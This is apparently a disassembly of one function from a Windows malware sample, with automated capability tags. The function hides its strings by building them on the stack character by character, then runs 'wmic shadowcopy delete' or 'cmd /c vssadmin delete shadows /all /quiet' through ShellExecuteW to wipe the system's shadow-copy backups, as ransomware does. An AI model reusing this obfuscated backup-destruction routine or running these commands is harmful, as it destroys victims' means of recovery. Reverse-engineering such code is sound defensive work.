Function at 0x402554
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4
push ebx
push esi
push edi
call fcn.0040589b
push 0x5c
test eax, eax
je 0x402639
pop ecx
push 0x77
pop edi
push 0x62
pop eax
push 0x65
mov word [ebp - 0x34], ax
lea ebx, [ebp - 0x38]
pop eax
push 0x6d
pop esi
push 0x69
mov word [ebp - 0x38], cx
mov word [ebp - 0x2e], cx
pop ecx
push 0x63
pop edx
push 0x2e
mov word [ebp - 0x28], cx
pop ecx
push 0x78
mov word [ebp - 0x24], cx
pop ecx
push 0x73
mov word [ebp - 0x20], cx
xor ecx, ecx
mov word [ebp - 0x1c], cx
pop ecx
push 0x68
mov word [ebp - 0x5c], cx
pop ecx
push 0x61
mov word [ebp - 0x5a], cx
pop ecx
push 0x64
mov word [ebp - 0x58], cx
pop ecx
push 0x6f
mov word [ebp - 0x30], si
mov word [ebp - 0x2a], si
pop esi
push 0x70
mov word [ebp - 0x26], dx
mov word [ebp - 0x50], dx
pop edx
push 0x79
mov word [ebp - 0x4c], dx
pop edx
push 0x20
mov word [ebp - 0x36], di
mov word [ebp - 0x2c], di
mov word [ebp - 0x52], di
pop edi
push 0x6c
mov word [ebp - 0x56], cx
mov word [ebp - 0x46], cx
pop ecx
mov word [ebp - 0x32], ax
mov word [ebp - 0x22], ax
mov word [ebp - 0x1e], ax
mov word [ebp - 0x44], ax
mov word [ebp - 0x40], ax
mov word [ebp - 0x3c], ax
xor eax, eax
push 0x74
mov word [ebp - 0x42], cx
pop ecx
mov word [ebp - 0x3a], ax
lea eax, [ebp - 0x5c]
mov word [ebp - 0x54], si
mov word [ebp - 0x4e], si
mov word [ebp - 0x4a], dx
mov word [ebp - 0x48], di
mov word [ebp - 0x3e], cx
jmp 0x40279a
pop eax
push 0x63
pop edx
push 0x6d
pop esi
push 0x64
pop ecx
push 0x2e
mov word [ebp - 0x18], ax
pop eax
push 0x65
mov word [ebp - 0x10], ax
pop eax
push 0x78
pop edi
push 0x2f
pop ebx
push 0x20
mov word [ebp - 0xc], di
xor edi, edi
mov word [ebp - 0x16], dx
mov word [ebp - 0xae], dx
mov word [ebp - 8], di
pop edi
push 0x76
pop edx
push 0x73
mov word [ebp - 0xaa], dx
pop edx
push 0x61
mov word [ebp - 0xa8], dx
mov word [ebp - 0xa6], dx
pop edx
push 0x69
mov word [ebp - 0xa4], dx
pop edx
push 0x6e
mov word [ebp - 0x9e], dx
pop edx
push 0x6c
mov word [ebp - 0x14], si
mov word [ebp - 0xa0], si
pop esi
push 0x74
mov word [ebp - 0xb0], bx
pop ebx
push 0x73
mov word [ebp - 0x9c], dx
pop edx
push 0x68
mov word [ebp - 0x8a], dx
pop edx
push 0x61
mov word [ebp - 0x88], dx
pop edx
push 0x6f
mov word [ebp - 0x12], cx
mov word [ebp - 0xa2], cx
mov word [ebp - 0x98], cx
mov word [ebp - 0x84], cx
pop ecx
push 0x77
mov word [ebp - 0x82], cx
pop ecx
push 0x73
mov word [ebp - 0x80], cx
pop ecx
mov word [ebp - 0xe], ax
mov word [ebp - 0xa], ax
mov word [ebp - 0xac], di
mov word [ebp - 0x9a], di
mov word [ebp - 0x96], ax
mov word [ebp - 0x94], si
mov word [ebp - 0x92], ax
mov word [ebp - 0x90], bx
mov word [ebp - 0x8e], ax
mov word [ebp - 0x8c], di
mov word [ebp - 0x86], dx
mov word [ebp - 0x7e], cx
mov word [ebp - 0x7c], di
push 0x2f
pop ecx
push 0x71
mov word [ebp - 0x7a], cx
mov word [ebp - 0x70], cx
pop ecx
push 0x75
mov word [ebp - 0x6e], cx
pop ecx
mov word [ebp - 0x68], ax
xor eax, eax
push 0x69
mov word [ebp - 0x6c], cx
pop ecx
mov word [ebp - 0x66], bx
lea ebx, [ebp - 0x18]
mov word [ebp - 0x64], ax
lea eax, [ebp - 0xb0]
mov word [ebp - 0x78], dx
mov word [ebp - 0x76], si
mov word [ebp - 0x74], si
mov word [ebp - 0x72], di
mov word [ebp - 0x6a], cx
push 0x400
lea ecx, [ebp - 0xc0]
mov dword [ebp - 4], eax
call fcn.00402f51
push 0x200
lea ecx, [ebp - 0xc0]
call fcn.00402f96
mov esi, eax
test esi, esi
je 0x4027f1
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
push eax
push eax
push dword [ebp - 4]
push esi
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp edi, eax
sbb esi, esi
neg esi
lea ecx, [ebp - 0xc0]
call fcn.00402f85
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret